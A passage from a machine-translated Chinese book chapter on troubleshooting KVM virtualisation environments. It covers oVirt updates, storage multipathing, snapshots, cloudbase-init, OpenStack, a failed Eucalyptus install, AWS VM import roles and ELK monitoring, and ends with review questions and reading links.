存在某种相互依赖的关系。 如果有这样的软件包,您需要确保执行我们在本章前面提到的引擎备份过程。 它会把你从很多问题中解救出来。 - -不仅仅是 oVirt 引擎可能是个问题-*更新 oVirt 清单中的 KVM 主机*也可能是相当戏剧性的。 通过 oVirt 引擎或我们的手动安装过程在主机上部署的 oVirt 代理(`vdsm`)及其组件也有自己的相互依赖关系,可能会受到系统范围的`yum -y update`命令的影响。 因此,在接受升级之前,请先拉上手刹,因为这可能会给以后带来很大的痛苦。 确保检查`vdsm`日志(通常位于`/var/log/vdsm`目录中)。 当您试图破译`vdsm`出了什么问题时,这些日志文件非常有用。 - -## oVirt 和 KVM 存储问题 - -我们遇到的大多数存储问题通常与向主机呈现的 LUN 或共享有关。 具体地说,当您处理数据块存储(光纤通道或 iSCSI)时,我们需要确保不从主机分区或掩蔽 LUN,因为主机看不到它。 同样的原理也适用于 NFS 共享、Gluster、CEPH 或我们正在使用的任何其他类型的存储。 - -除了这些预配置问题之外,最常见的问题与故障转移有关--一种通向存储设备的路径出现故障的情况。 如果我们稍微向外扩展存储或存储网络基础架构,我们就会非常高兴-我们添加了额外的适配器、额外的交换机、配置的多路径(MPIO)等等。 请确保查看存储设备供应商的文档,并遵循特定存储设备的最佳实践。 请相信我们-iSCSI 存储配置及其默认设置与配置光纤通道存储截然不同,尤其是在涉及多路径时。 例如,当将 MPIO 与 iSCSI 一起使用时,如果您正确配置它,它会更令人愉快和更快。 您将在本章末尾的*进一步阅读*一节中找到有关此过程的更多详细信息。 - -如果您使用基于 IP 的存储,请确保指向您的存储设备的多条路径使用个独立的 IP 子网,因为其他任何情况都不是好主意。 类似 LACP 的技术和 iSCSI 不能同时工作,您将排除一项不适合存储连接且工作正常的技术的故障,而您却认为它不适用于存储连接。 我们需要知道我们正在排除什么故障;否则,排除故障就没有意义了。 为 iSCSI 创建 LACP 等同于仍然为 iSCSI 连接使用一条路径,这意味着浪费不会主动使用的网络连接,除非在故障转移的情况下。 为此,您并不真的需要 LACP 或类似的技术。 一个值得注意的例外可能是刀片式服务器,因为您在刀片式服务器上的升级选项非常有限。 但即便如此,*我们需要更多带宽从主机到存储*问题的解决方案是获得更快的网络或光纤通道适配器。 - -## 快照和模板问题-虚拟机自定义 - -老实说,在从事各种虚拟化技术(包括 Citrix、Microsoft、VMware、Oracle 和 Red Hat)的多年工作中,我们看到了很多不同的快照问题。 但是,只有当您开始在企业 IT 部门工作,并了解到操作、安全和备份过程有多么复杂时,您才会开始意识到创建快照这样的*简单*过程有多危险。 - -我们已经看到了如下情况: - -* 备份应用不想启动,因为虚拟机有一个快照(通用快照)。 -* 快照不想删除和组装。 -* 多个快照不想删除和组装。 -* 由于奇怪的原因,快照会使虚拟机崩溃。 -* 快照使虚拟机崩溃的原因是正当的(存储上磁盘空间不足) -* 快照会使在虚拟机中运行的应用崩溃,因为该应用不知道如何在快照之前进行自我整理并进入脏状态(VSS、同步问题) -* 快照稍有误用,就会发生问题,我们需要进行故障排除 -* 快照被严重滥用,总会发生一些事情,我们需要进行故障排除 - -最后一种场景发生的频率远远超出预期,因为如果获得许可,人们真的倾向于展示他们拥有的快照数量。 我们已经看到具有 20 多个快照的虚拟机在生产环境中运行,人们抱怨它们太慢。 在这种情况下,您所能做的就是吸气、呼气、耸耸肩,然后问:“您希望这 20 多个快照能提高您的虚拟机的速度吗?” - -通过这一切,让我们度过所有这些问题的是三个基本原则: - -* 真正了解快照在任何给定技术上的工作原理。 -* 确保每次我们想到使用快照时,都会先检查虚拟机所在的数据存储区上的可用存储空间量,然后检查虚拟机是否已有快照。 -* 不断重复这句口头禅:*快照并不是我们所有客户的备份*,一遍又一遍地重复,并用额外的文章和链接猛烈抨击它们,解释它们为什么需要停止快照,即使这意味着拒绝某人甚至拒绝拍摄快照的许可。 - -实际上,在我们遇到的许多环境中,最后这个已经成为事实上的策略。 我们甚至看到一些公司在处理快照时实施了全面的政策,声明公司的政策是在有限的时间内最多拥有一到两个快照。 例如,在 VMware 环境中,您可以分配一个虚拟机高级属性,该属性将最大快照数设置为 1(使用名为`snapshot.maxSnapshots`的属性)。 在 KVM 中,您将不得不在这些情况下使用基于存储的快照,并希望存储系统具有基于策略的功能,可以将快照数量设置为某个值。 但是,这种情况与在许多环境中使用基于存储的快照的想法背道而驰。 - -模板和虚拟机定制是另一个完全不同的故障排除领域。 除了我们在第 8 章,*创建和修改 VM 磁盘、模板和快照*中提到的与在 Windows 计算机上连续使用`sysprep`相关的警告之外,模板化很少会产生问题。 如今,创建 Linux 模板非常简单,人们使用`virt-sysprep`、`sys-unconfig`或自定义脚本来实现这一点。 但下一步-与虚拟机定制相关-是完全不同的事情。 在使用 cloudbase-init 时尤其如此,因为 cloud-init 多年来一直是在云环境中预配置 Linux 虚拟机的标准方法。 - -以下是我们在使用 cloudbase-init 时遇到的一些问题的简短列表: - -* 由于`Cannot load user profile: the device is not ready`,cloudbase-init 失败。 -* 域加入不可靠。 -* 网络设置过程中出错。 -* 通过 cloudbase-init 重置 Windows 密码。 -* 获取 cloudbase-init 以从指定目录执行 PowerShell 脚本。 - -这些问题和其他问题中的绝大多数都与 cloudbase-init 有非常糟糕的文档这一事实有关。 它确实有一些配置文件示例,但大多数都与 API 或编程方法有关,而不是通过示例实际解释如何创建某种配置。 此外,正如我们在[*第 10 章*](10.html#_idTextAnchor182),*自动化 Windows 访客部署和定制*中提到的,不同版本存在各种问题。 然后我们选择了预发布版本,该版本开箱即用,配置文件不适用于稳定版本。 但总的来说,我们在尝试使其正常工作时遇到的最大问题与如何使其与 PowerShell 正确配合有关。 如果我们让它正确地执行 PowerShell 代码,我们几乎可以在基于 Windows 的系统上配置任何我们想要的东西,所以这是一个大问题。 有时,它不想从 Windows 系统盘上的随机目录执行 PowerShell 脚本。 - -确保你使用本书中的例子作为你的起点。 我们有意在[*第 10 章*](10.html#_idTextAnchor182),*自动化 Windows 访客部署和自定义*中尽可能简单地提供示例,其中包括已执行的 PowerShell 代码。 然后,展开你的翅膀飞起来--做任何需要做的事情。 当您使用基于 Microsoft 的解决方案(包括本地解决方案和混合解决方案)时,PowerShell 会让一切变得更简单、更自然。 - -## 使用 Ansible 和 OpenStack 时出现问题 - -我们与 Ansible 和 OpenStack 的第一次互动发生在几年前--Ansible 是在 2012 年推出的,OpenStack 是在 2010 年推出的。 我们一直认为这两个都是非常酷的工具包,尽管有一些问题。 其中一些小问题与快速开发(OpenStack)有关,每个版本都要解决大量的 bug。 - -在这个问题上,我们和很多人争执不下--前一天,这个话题跟*我们习惯用傀儡有关,我们为什么需要*?!;第二天是*啊,这个语法太复杂了*;第二天又是另一个东西,又是另一个…。 这通常只是因为 Ansible 体系结构在体系结构方面比所有这些体系结构都要简单得多,而且在语法方面要稍微复杂一些--至少在开始时是这样。 使用 Ansible,一切都与语法有关,因为我们确信您要么知道,要么很快就会知道。 - -排除 Ansible 攻略的故障通常是一个过程,有 95%的可能性是我们在配置文件中拼写错误或键入错误。 我们谈论的是最初的阶段,在这个阶段,你已经有机会与 Ansible 合作一段时间了。 请确保重新检查 Ansible 命令的输出,并使用它们的输出。 从这个意义上说,它真的很棒。 您不需要进行复杂的配置(例如,使用`libvirtd`)就可以从执行的过程和剧本中获得可用的输出。 这让我们的工作轻松多了。 - -对 OpenStack 进行故障排除是一种完全不同的蠕虫罐头。 有一些详细记录的 OpenStack 问题,这些问题也可能与特定的设备有关。 让我们使用其中的一个例子-查看以下链接了解使用 NetApp 存储时的问题:[https://netapp-openstack-dev.github.io/openstack-docs/stein/appendices/section_common-problems.html](https://netapp-openstack-dev.github.io/openstack-docs/stein/appendices/section_common-problems.html)。 - -下面是的一些示例: - -* 创建卷失败 -* 克隆卷失败 -* 卷连接失败 -* 卷上载到映像操作失败 -* 卷备份和/或恢复失败 - -然后,对于示例,请查看以下链接: - -* [https://docs.openstack.org/cinder/queens/configuration/block-storage/drivers/ibm-storwize-svc-driver.html](https://docs.openstack.org/cinder/queens/configuration/block-storage/drivers/ibm-storwize-svc-driver.html) -* [https://www.ibm.com/support/knowledgecenter/STHGUJ_8.2.1/com.ibm.storwize.v5100.821.doc/storwize_openstack_matrix.html](https://www.ibm.com/support/knowledgecenter/STHGUJ_8.2.1/com.ibm.storwize.v5100.821.doc/storwize_openstack_matrix.html) - -正如您可能已经推断出的那样,OpenStack 在存储方面非常非常挑剔。 这就是为什么存储公司通常会为他们自己的存储设备创建参考体系结构,以便在基于 OpenStack 的环境中使用。 请查看 HPE 和 Dell EMC 提供的这两份文档,作为该方法的很好示例: - -* [https://www.redhat.com/cms/managed-files/cl-openstack-hpe-synergy-ceph-reference-architecture-f18012bf-201906-en.pdf](https://www.redhat.com/cms/managed-files/cl-openstack-hpe-synergy-ceph-reference-architecture-f18012bf-201906-en.pdf) -* [https://docs.openstack.org/cinder/rocky/configuration/block-storage/drivers/dell-emc-unity-driver.html](https://docs.openstack.org/cinder/rocky/configuration/block-storage/drivers/dell-emc-unity-driver.html) - -最后一个警告与最难克服的障碍有关-OpenStack 版本升级。 我们可以给你讲很多关于这个话题的恐怖故事。 话虽如此,我们在这里也有部分责任,因为作为用户,我们部署了各种第三方模块和实用程序(基于供应商的插件、分支、未经测试的解决方案等),忘记了使用它们,然后当升级过程失败时,我们真的会感到惊讶和恐惧。 本文回顾了我们在本书中关于记录环境的多次讨论。 这是我们将在本章后面的最后一次重温的主题。 - -## 依赖关系 - -每个管理员都完全知道,几乎每个服务都有一些依赖关系--要么是依赖于该特定服务运行的服务,要么是我们的服务工作所需的服务。 在使用包时,依赖关系也是一件重要的事情-包管理器的全部意义在于严格关注需要安装的内容以及依赖于它的内容,这样我们的系统才能正常工作。 - -大多数管理员犯的错误是忘记了,在较大的系统中,依赖关系可能会跨越多个系统、群集甚至数据中心。 - -每门介绍 OpenStack 的课程都有关于启动、停止和验证不同 OpenStack 服务的专门课程。 原因很简单-OpenStack 通常运行在大量节点(数百个,有时数千个)上。 有些服务必须在每个节点上运行,有些服务是一组节点需要的,有些服务在每个节点实例上都是重复的,有些服务只能作为单个实例存在。 - -了解每个服务的基础知识以及它如何归入整个 OpenStack 架构不仅在安装整个系统时至关重要,而且在调试 OpenStack 上无法工作的原因时也是最重要的。 至少阅读一次文档以*连接点*。 同样,本章末尾的*进一步阅读*部分包含的链接将为您指明有关 OpenStack 的正确方向。 - -OpenStack 是文档中包含*如何正确重启运行 X 的计算机?*的系统之一。 原因很简单,因为整个系统很复杂-系统的每个部分都有它所依赖的东西和依赖它的东西-如果有什么东西坏了,你不仅需要了解系统的这个特定的部分是如何工作的,而且还需要了解它如何影响其他所有东西。 但是,所有这些都有一线希望--在一个正确配置的系统中,很多都是冗余的,所以有时候,修复某些东西最简单的方法就是重新安装它。 - -这可能总结了整个故障排除故事-尝试修复一个简单的系统通常比修复一个复杂的系统更复杂、更耗时。 了解它们是如何工作的是最重要的部分。 - -## 桉树故障排除 - -如果说一旦我们开始安装过程,一切都按照手册进行,那将是一种谎言--大部分都是这样做的,我们非常确定,如果您遵循我们记录的步骤,您将得到一个工作正常的服务或系统,但在任何时候,都可能--也将--出现问题。 这就是您需要做可以想象到的最复杂的事情-故障排除的时候。 但是你怎么做到这一点呢? 信不信由你,有一种或多或少系统化的方法可以让您解决几乎任何问题,而不仅仅是与 KVM/OpenStack/AWS/Eucalyptus 相关的问题。 - -### 收集信息 - -在我们做任何事情之前,我们需要做一些研究。 这是大多数人做错事的时刻,因为最明显的答案就是上网搜索问题。 看看这张截图: - -![Figure 16.5 – Eucalyptus logs, part I – clean, crisp, and easy to read – every procedure that's been done in Eucalyptus clearly visible in the log ](img/B14834_16_05.jpg) - -图 16.5-Eucalyptus 日志,第一部分-干净、清晰且易于阅读-在 Eucalyptus 中完成的每个过程在日志中都清晰可见 - -如果你还没有注意到,互联网上充斥着几乎任何可以想象到的问题的现成解决方案,其中很多都是错误的。 这有两个原因:大多数从事解决方案的人不了解问题是什么,所以一旦他们找到了解决他们特定问题的任何解决方案,他们就干脆停止解决它。 换句话说,许多 IT 人员试图将从 A 点(问题)到 B 点(解决方案)的路径想象为激光束-超级平坦,尽可能短的路径,沿途没有障碍。 一切都很好很干脆,一旦激光束原理停止工作,我们的故障排除思维过程就会被设计得乱七八糟。 这是因为,在 IT 行业,事情很少会那么简单。 - -例如,以 DNS 配置错误导致的任何问题为例。 其中大多数问题可以通过在*hosts*文件中创建一个条目来*求解*。 这种解决方案通常是有效的,但同时,几乎在任何可以想象到的水平上都是错误的。 这样解决的问题只在一台机器上解决--那台机器上有特定的 HOSTS 文件。 而且 DNS 仍然配置错误;我们刚刚创建了一个快速的、未记录在案的解决方法,可以在我们的特定情况下使用。 其他每台有同样问题的机器都需要用这种方式打补丁,而且我们的修复很可能会在以后制造更多的问题。 - -真正的解决方案显然是找出问题的根源,并用 DNS 解决问题,但这样的解决方案在互联网上很少见。 这主要是因为互联网上的大多数评论者不熟悉很多服务,而快速修复基本上是他们唯一能够应用的服务。 - -互联网大部分错误的另一个原因是因为著名的*重新安装修复了问题*解决方案。 Linux 在那里有更好的记录,因为使用它的人不太倾向于通过擦除和重新安装系统来解决所有问题,但是你会发现大多数针对 Windows 问题的解决方案都会有至少一次简单的*重新安装来修复它*。 与只提供一个始终有效的随机修复相比,这种*重新安装*方法要糟糕得多。 这不仅意味着您将浪费大量时间重新安装所有内容,还意味着您的问题最终可能会得到解决,也可能不会得到解决,具体取决于问题的实际情况。 - -因此,我们要给出的第一条简短建议是,*不要盲目相信互联网*。 - -好的,但是你到底应该做什么呢? 我们来看一下: - -1. *Gather information about the problem*. Read the error message, read the logs (if the application has logs), and try to turn on debug mode if at all possible. Get some solid data. Find out what is crashing, how it is crashing, and what problems are causing it to crash. Take a look at the following screenshot: - - ![Figure 16.6 – Eucalyptus logs, part II – again, clean, crisp, and easy to read – information messages about what was updated and where ](img/B14834_16_06.jpg) - - 图 16.6-桉树日志,第二部分-同样,干净、清晰和易于阅读-有关更新内容和位置的信息消息 - -2. *阅读文档*。 你正在尝试做的事情是否得到了支持? 系统正常运行的前提条件是什么? 你错过什么了吗? 高速缓存磁盘? 一定数量的内存? 是依赖于您的特定系统的基本服务吗? 依赖项是库还是附加包? 固件升级? - -有时,会遇到更大的问题,特别是在写得很差的文档中-*在传递*时可能会提到一些关键的系统依赖项,可能会导致整个系统崩溃。 例如,以外部识别服务为例--可能您的目录使用了*错误的字符集*,当特定用户以特定方式使用它时,会导致系统崩溃。 始终确保您了解您的系统是如何互连的。 - -接下来,检查您的系统。 如果您要安装新系统,请检查前提条件。 您是否有足够的*磁盘空间*和*内存*? 您的应用所需的所有服务是否都随时可用且工作正常? - -上网搜索一下。 我们之前提到过,互联网对所有可能的问题都有一个简单的、不正确的解决方案,但它通常也会在错误的解决方案中隐藏正确的解决方案。 在用大量关于你的特定系统和你的特定问题的数据武装自己之后,互联网很快就会成为你的朋友。 既然你了解问题所在,你就会明白提供给你的解决方案是完全错误的。 - -现在,让我们讨论一下我们在故意安装 Eucalyptus 时产生的一个实际问题,只是为了向您展示文档有多重要。 - -我们在[*第 13 章*](13.html#_idTextAnchor238),*通过 AWS*向您展示了如何安装 Eucalyptus-我们不仅完成了安装过程,还介绍了如何使用这项令人惊叹的服务。 如果你想让学到一些不该做的事情,那就继续读下去。 我们将为您提供一个精心设计的场景,一个不成功的 Eucalyptus 安装无法完成,因为我们*创造性地忘记了执行一些我们知道需要执行的步骤*。 让我们这样说吧-我们以人的身份行事,使用*浏览文档*的方法,而不是*实际坐下来阅读文档*。 这听起来耳熟吗? - -安装 Eucalyptus 应该是一项简单的任务,因为它的安装本质上是一个应用脚本的练习。 Eucalyptus 甚至在该项目的首页上写道:*只需运行此脚本*。 - -但事实要复杂得多-Eucalyptus 绝对可以仅使用此脚本安装,但必须满足某些先决条件。 当然,在您匆忙测试新服务时,您可能会像我们一样忽略阅读文档,因为我们已经有过使用 Eucalyptus 的经验。 - -我们配置了系统,开始了安装,但我们遇到了问题。 确认初始配置步骤后,我们的安装失败,并出现错误,指出无法解析特定地址:`192.168.1.1.nip.io`。 - -DNS 是 IT 基础设施中问题的主要来源之一,我们很快就开始调试-我们首先想看到的是这个特定地址是什么。 IT 中实际上有一种说法-*它总是 DNS*。 它看起来像本地地址,所以我们开始 ping 它,它看起来没问题。 但是为什么 DNS 会涉及 IP 地址呢? DNS 应该解析域名,而不是 IP 地址。 然后,我们求助于文档,但收效甚微。 我们发现的唯一一件事是 DNS 必须工作才能使整个系统工作。 - -然后,是时候尝试和调试 DNS 了。 首先,我们尝试从安装它的机器解析它。 DNS 返回超时。 我们在另一台机器上进行了尝试,得到了意想不到的响应-`127.0.0.1.nip.io`解析为`127.0.0.1`,这意味着本地主机。 基本上,我们要求互联网上的 DNS 给我们一个地址,它将我们引导到我们的本地系统。 - -因此,我们遇到了一个我们不理解的错误,一个地址解析为我们意想不到的 IP 地址,两个不同的系统对同一命令表现出完全不同的行为。 我们将注意力转向正在安装的机器,发现它配置错误-根本没有配置 DNS。 机器不仅无法解析我们的*奇怪的*IP 地址,而且无法解析任何内容。 - -我们通过指向正确的 DNS 服务器修复了该问题。 然后,以真正的 IT 方式,我们重新启动了安装,这样我们就能够完成这一部分,并且一切正常,至少看起来是这样。 但是发生了什么呢? 为什么本地服务要解析如此奇怪的名称?为什么要解析这些名称? - -我们转到互联网上,看了看我们神秘的名字末尾的域名。 我们发现,服务`nip.io`实际上做的正是我们观察到的事情-当被要求提供由本地子网范围(由`RFC 1918`定义)中的 IP 地址组成的特定名称时,它返回相同的 IP。 - -我们的下一个问题是--为什么? - -在进一步阅读之后,您将意识到这里的诀窍是什么-Eucalyptus 使用 DNS 名称与其所有组件通信。 作者非常明智地选择了不将单个地址硬编码到应用中,因此系统的所有服务和节点都必须有一个真实的 DNS 注册名称。 在正常的多节点、多服务器安装中,这就像一个魔咒--每个服务器和每个节点首先向其相应的 DNS 服务器注册,Eucalyptus 将尝试解决这些问题,以便它可以与机器通信。 - -我们安装的是一台拥有所有服务的机器,这使得安装变得更容易,但是节点没有单独的名称,甚至我们的机器也可能没有注册到 DNS。 所以,安装程序做了一个小把戏。 它将本地 IP 地址转换为完全有效的域名,并确保我们可以解析它们。 - -因此,现在我们知道发生了什么(解析过程无法工作)和原因(我们的 DNS 服务器设置被破坏),但我们也理解了为什么首先需要 DNS。 - -这就引出了下一点-*不要假设任何东西*。 - -当我们进行故障排除,然后跟进 DNS 问题时,我们的安装崩溃了。 Eucalyptus 是一个复杂的系统,其安装也是一件相当复杂的事情-它会自动更新您运行它的机器,然后它会安装看似数千个软件包,然后它会下载、配置和运行一小批映像和虚拟软件包。 为了保持整洁,用户不会看到正在发生的所有事情,只看到最重要的部分。 安装程序甚至有一个漂亮的 ASCII 图形屏幕,让你忙个不停。 在某种程度上一切正常,但是突然,我们的安装完全崩溃了。 我们得到的只是一个巨大的堆栈跟踪,看起来像是属于 Python 语言。 我们重新运行了安装,但再次失败。 - -在这一点上的问题是,我们不知道为什么会发生这一切,因为安装需要 CentOS 7 的最小安装。我们在虚拟机上运行我们的测试,实际上我们进行了最小安装。 - -我们重新尝试从头开始安装。 重新安装整台机器花了几分钟时间,我们重试了安装。 结果是一样的-一次失败的安装,给我们留下了一个无法使用的系统。 但有一个可能的解决方案-或者更准确地说,是一种理解发生了什么的方法。 - -与 IT 领域所有伟大的安装者一样,这个安装者还特别为这种可能性保留了一些东西:日志文件。 请看下面的屏幕截图: - -![Figure 16.7 – The Eucalyptus installation process takes time when you don't read its documentation. And then some more time... and some more... ](img/B14834_16_07.jpg) - -图 16.7-当您不阅读 Eucalyptus 文档时,Eucalyptus 安装过程需要时间。 再过一段时间..。 还有更多的..。 - -这是安装屏幕。 我们看不到任何关于正在发生的事情的真实信息,但是从顶部开始的第三行包含最重要的线索-日志文件的位置。 为了不让你的屏幕被信息淹没,安装程序显示了这个非常漂亮的小图形-咖啡图形(每个在 20 世纪 90 年代和 21 世纪初使用过 IRC 的人现在可能都会笑),但也会将发生的一切都转储到日志中。 所谓一切,我们指的是一切--每条命令、每一次输入、每一次输出。 这使得调试变得容易-我们只需要滚动到该文件的末尾,并尝试从该点向后返回,看看是什么损坏了。 一旦我们这样做了,解决方案就很简单--我们忘记为机器分配足够的内存。 我们给了它 8 GB 的 RAM,官方规定它至少应该有 16 GB 才能流畅。 有报道称机器运行的 RAM 只有 8 GB,但这完全没有意义--毕竟我们运行的是虚拟化环境。 - -## AWS 及其冗长,这无济于事 - -我们想要提到的另一件事是 AWS 以及如何对其进行故障排除。 AWS 是一项令人惊叹的服务,但它有一个很大的问题--它的规模。 有如此多的服务、组件和服务部件,您需要使用这些服务、组件和服务部件才能在 AWS 上运行,因此简单的任务可能会变得非常复杂。 我们的场景涉及到尝试创建一个 EC2 实例,并将其用作示例。 - -这项任务相对简单,它演示了一个简单的问题可以有一个简单的解决方案,但同时又可以完全不明显。 - -让我们回到我们想要做的事情上来。 我们有一台机器在本地磁盘上。 我们必须将其转移到云中,然后在其中创建一个正在运行的虚拟机。 这可能是最简单的事情之一。 - -为此,我们创建了一个 S3 存储桶,并将我们的机器从本地机器放入云中。 但是在我们试着操作机器之后,我们得到的只是一个错误。 - -像 AWS 这样的服务最大的问题是,它是巨大的,而且没有办法一下子理解所有的事情-你必须一块一块地积累你的知识。 所以,我们又回到了文档中。 AWS 上有两种文档-涵盖每项服务的每个命令和每个选项的广泛帮助和指导性示例。 帮助是令人惊叹的,真的是,但是如果你不知道你在寻找什么,它不会给你带来任何帮助。 这种形式的帮助只有在您对概念有基本理解的情况下才有效。 如果你是第一次做某件事,或者你有一个你以前没有见过的问题,我们建议你找一个你想要做的任务的例子,然后做这个练习。 - -在我们的例子中,这很奇怪,因为我们所要做的就是运行一个简单的命令。 但是我们的进口还是失败了。 在我们用头撞墙几个小时后,我们决定装作一无所知,然后去做了*如何将虚拟机导入 AWS?*示例。 一切都很顺利。 然后,我们试着进口我们自己的机器,但没有奏效。 命令已复制/粘贴,但仍然不起作用。 - -然后我们意识到最重要的事情-*我们需要关注细节*。 如果这一思路没有得到适当的实施和执行,我们就会招致一大堆问题自食其果。 - -## 注重细节 - -长话短说(这太长了),我们的错误之处在于我们错误地配置了身份服务。 在 AWS 等云环境中,每个服务都作为独立的域运行,与其他服务完全分离。 当需要执行某些操作时,执行该操作的服务必须获得某种授权。 有一个服务负责这一点-IAM-每个服务的每个请求的明显默认设置是拒绝所有内容。 一旦我们决定需要做什么,我们的工作就是配置适当的访问和授权。 我们知道这一点,因此我们为 EC2 创建了访问 S3 中文件的所有角色和权限。 尽管这听起来可能有些奇怪,但我们必须提供一项我们正在使用的服务,以获取我们上传的文件。 如果您是新手,您可能会认为这是自动完成的,但事实并非如此。 - -请看下面的小摘录,这些摘录来自 AWS 预定义的非常长的角色列表。 请记住,完整的名单要长得多,而且我们只触及了所有可用角色的皮毛。 以下是名称以字母*A*开头的角色: - -![Figure 16.8 – AWS predefined roles ](img/B14834_16_08.jpg) - -图 16.8-AWS 预定义角色 - -我们错误配置的是角色的名称-要将 VM 导入 EC2 实例,需要名为`vmimport`的安全角色授予 EC2 正确的权限。 我们匆忙配置了一个名为`importvm`的角色。 当我们完成示例时,我们粘贴了示例,一切都很好,但是一旦我们开始使用我们的安全设置,EC2 就无法完成它的工作。 因此,请务必*查看产品文档并仔细阅读*。 - -## ELK 堆栈故障排除 - -麋鹿堆栈可以用来有效地监控我们的环境。 它确实需要一些手工劳动,额外的配置,而且有点狡猾,但它仍然可以提供报告、自动报告、通过电子邮件发送报告,以及许多其他有价值的东西。 - -开箱即用,您不能直接发送报告-您需要进行更多的窥探。 你可以使用 Watcher,但你需要的大部分功能都是商业功能,所以你得花点钱。 还有一些其他方法: - -* 为 Kibana/Grafana 使用快照-查看此 URL:[https://github.com/parvez/snapshot](https://github.com/parvez/snapshot) -* 使用 ElastAlert-查看此 url:[https://github.com/Yelp/elastalert](https://github.com/Yelp/elastalert) -* 使用弹性堆栈功能(以前称为 X-Pack)-请查看此网址:[https://www.elastic.co/guide/en/x-pack/current/installing-xpack.html](https://www.elastic.co/guide/en/x-pack/current/installing-xpack.html) - -这里还有一个建议:您总是可以通过`rsyslog`集中日志,因为它是一个内置功能。 如果您创建一个集中式日志服务器(例如,Adison LogAnalyzer),就会有免费的应用用于浏览日志文件。 如果与麋鹿打交道看起来有点难处理,但你意识到你需要一些东西,那就从这样的事情开始吧。 它非常容易安装和配置,并提供了一个支持正则表达式的免费 Web 界面,因此您可以浏览日志条目。 - -# 排除 KVM 问题的最佳实践 - -在对 KVM 问题进行故障排除时,有一些常识最佳实践。 让我们列出其中的一些: - -* *在配置*中保持简单:在一个站点的三个子网中部署 50 台 OpenStack 主机有什么好处? 仅仅因为你可以将子网划分到一个 IP 范围的一英寸范围内,并不意味着你应该这样做。 仅仅因为您的服务器上有八个可用连接,并不意味着您应该使用 LACP 将它们全部连接起来才能访问 iSCSI 存储。 考虑端到端配置(例如,iSCSI 网络的巨型帧配置)。 简单的配置几乎总是意味着更简单的故障排除。 -* *保持简单,在故障排除中*:不要先去追逐超复杂的场景。 从简单开始。 从日志文件开始。 检查一下上面写的是什么。 随着时间的推移,利用你的直觉,因为它会发展,你就能相信它。 -* *使用像 elk stack 这样的监控工具*:使用一些东西来持续监控您的环境。 投资一些大屏幕显示器,将其连接到一台单独的计算机上,将显示器挂在墙上,然后花时间为您的环境配置重要的仪表板。 -* *使用报告工具*创建有关您的环境状态的多个自动报告:Kibana 支持报告生成,例如 PDF 格式。 当您监视您的环境时,您会注意到您的环境中的一些*更敏感的*部分,例如存储。 监视可用空间量。 监视从主机到存储的路径活动和丢弃的网络连接。 创建报告并自动将其发送到您的电子邮件。 那里有很多选择,所以使用它们吧。 -* *在配置环境时创建笔记*:如果没有其他问题,请这样做,以便您有一个起点和/或将来的参考,因为经常会有很多更改*在运行中完成*。 当做笔记的过程结束后,创建文档。 -* *创建文档*:使其成为永久的、可读的和尽可能简单的文档。 不要*记住*东西,*把东西写下来*。 把把每件事都写下来作为使命,试着把这种文化传播到你周围。 - -如果您想以管理员、工程师或 DevOps 工程师的身份在 IT 部门工作,请习惯于让``的大部分时间和许多不眠之夜都可用。 咖啡、百事可乐、可口可乐、柠檬汁、橙汁…。 。 只要能让你的智力魔力流动起来。 有时,学会在很短的一段时间内摆脱一个问题。 当你在想一些与工作完全相反的事情时,解决方案通常会在你的脑海中闪现。 - -最后,记得在工作时试着玩得开心。 否则,使用 KVM 或任何其他 IT 解决方案的整个考验只会是一条*开放最短路径优先*,通向无情的挫折。 挫折感从来都不是一件有趣的事。 我们更喜欢对着我们的电脑或服务器大喊大叫。 这是有治疗作用的。 - -# 摘要 - -在本章中,我们尝试描述一些常见的以及在排除 KVM 故障时可以应用的基本故障排除步骤。 我们还讨论了在使用本书的各个主题时必须处理的一些问题-Eucalyptus、OpenStack、elk 栈、cloudbase-init、存储等等。 这些问题中的大多数是由错误配置引起的,但也有相当多的问题严重缺乏文档。 无论发生什么,都不要放弃。 解决问题,让它正常工作,并在你这样做的时候庆祝。 - -# 问题 - -1. 在部署 KVM 堆栈之前,我们需要检查哪些内容? -2. 部署 KVM 堆栈后,我们需要配置什么以确保虚拟机在重启后运行? -3. 我们如何检查 KVM 访客日志文件? -4. 如何永久打开和配置 KVM 调试日志记录? -5. 我们如何在运行时打开和配置 KVM 调试日志记录? -6. 解决 oVirt 安装问题的最佳方法是什么? -7. 解决 oVirt 的次要和主要版本升级问题的最佳方法是什么? -8. 管理 oVirt 引擎和主机更新的最佳方式是什么? -9. 为什么我们需要小心使用快照? -10. 模板和 cloudbase-init 有哪些常见问题? -11. 我们安装桉树的第一步应该是什么? -12. 我们可以在 ELK 堆栈中使用哪些高级监控和报告功能? -13. 在对基于 KVM 的环境进行故障排除时,有哪些最佳做法? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* 使用 kvm 调试日志记录:[https://wiki.libvirt.org/page/DebugLogs](https://wiki.libvirt.org/page/DebugLogs) -* OVirt 节点和 oVirt 引擎的防火墙要求:[https://www.ovirt.org/documentation/installing_ovirt_as_a_standalone_manager_with_remote_databases/#dns-requirements_SM_remoteDB_deploy](https://www.ovirt.org/documentation/installing_ovirt_as_a_standalone_manager_with_remote_databases/#dns-requirements_SM_remoteDB_deploy) -* OVirt 升级指南:[https://www.ovirt.org/documentation/upgrade_guide/](https://www.ovirt.org/documentation/upgrade_guide/) -* NetApp 和 OpenStack 集成的常见问题:[https://netapp-openstack-dev.github.io/openstack-docs/stein/appendices/section_common-problems.html](https://netapp-openstack-dev.github.io/openstack-docs/stein/appendices/section_common-problems.html) -* 在 OpenStack 中集成 IBM Storwize 系列和 svc 驱动程序:[https://docs.openstack.org/cinder/queens/configuration/block-storage/drivers/ibm-storwize-svc-driver.html](https://docs.openstack.org/cinder/queens/configuration/block-storage/drivers/ibm-storwize-svc-driver.html) -* 集成 IBM Storwize 和 OpenStack:[https://www.ibm.com/support/knowledgecenter/STHGUJ_8.2.1/com.ibm.storwize.v5100.821.doc/storwize_openstack_matrix.html](https://www.ibm.com/support/knowledgecenter/STHGUJ_8.2.1/com.ibm.storwize.v5100.821.doc/storwize_openstack_matrix.html) -* 用于 Red Hat OpenStack Platform on_Hpe Synergy 的 HPE 参考体系结构:[https://www.redhat.com/cms/managed-files/cl-openstack-hpe-synergy-ceph-reference-architecture-f18012bf-201906-en.pdf](https://www.redhat.com/cms/managed-files/cl-openstack-hpe-synergy-ceph-reference-architecture-f18012bf-201906-en.pdf) -* 集成 Dell EMC Unity 和 OpenStack:[https://docs.openstack.org/cinder/rocky/configuration/block-storage/drivers/dell-emc-unity-driver.html](https://docs.openstack.org/cinder/rocky/configuration/block-storage/drivers/dell-emc-unity-driver.html) -* Red Hat 